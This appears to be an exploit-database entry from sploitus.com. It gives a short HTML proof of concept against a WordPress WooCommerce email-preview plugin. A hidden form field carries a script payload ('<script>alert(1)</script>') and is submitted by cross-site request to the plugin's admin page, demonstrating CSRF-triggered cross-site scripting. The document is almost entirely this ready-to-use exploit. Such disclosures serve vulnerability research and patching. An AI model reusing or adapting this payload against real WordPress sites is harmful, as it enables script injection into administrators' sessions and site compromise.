Share 
## https://sploitus.com/exploit?id=WPEX-ID:F64EAF2D-B089-41EC-8A26-B19CFB67E435
<html>
  <body>
    <form action="https://[URL]/wp-admin/admin.php?page=digthis-woocommerce-preview-emails" method="POST">
      <input type="hidden" name="search_order" value="<script>alert(1)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>